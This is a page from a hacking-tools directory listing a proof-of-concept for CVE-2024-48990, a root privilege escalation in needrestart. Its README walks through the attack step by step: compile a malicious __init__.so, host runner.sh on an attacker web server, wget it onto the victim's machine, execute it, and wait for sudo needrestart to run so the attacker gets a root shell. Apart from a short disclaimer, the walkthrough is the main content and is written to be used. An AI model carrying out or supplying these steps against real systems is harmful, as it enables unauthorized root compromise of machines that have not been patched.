Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-48990 — PoC about CVE-2024-48990. Qualys discovered that needrestart, before version 3.8, allows local attackers to execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable. (NIST) | Kitploit
Tools/GitHubGitHub/grecosamuel/cve-2024-48990
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & Education
GitHubgrecosamuel/cve-2024-48990

CVE-2024-48990

PoC about CVE-2024-48990. Qualys discovered that needrestart, before version 3.8, allows local attackers to execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable. (NIST)

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
8 months agoNot yet reviewed

CVE-2024-48990

[!WARNING] These files and informations are intended for educational purpose only. The author is not responsible for any malicious behavior. All informations provided are not intended to incite any type of crime or abuse.

Description

Qualys discovered that needrestart, before version 3.8, allows local attackers to execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable. Check NIST for official details.

PoC

  1. Download repository from git

git clone https://github.com/grecosamuel/CVE-2024-48990.git

  1. Compile exploit.c library to generate a valid ELF library and named it __init__.so

gcc -shared -fPIC -o __init__.so exploit.c

  1. Change <IP> and <PORT> in runner.sh, line 7 and line 10, with your IP and PORT of your own web server.
  2. Start the web server

python3 -m http.server

  1. Download runner on victim's machine

wget http://IP:PORT/runner.sh

  1. Set executable permission to runner

chmod +x runner.sh

  1. Run script

./runner.sh

  1. Run needrestart with sudo permission

sudo needrestart

When read [*] CVE module created press CTRL+C to stop process and get your shell !

Download Tool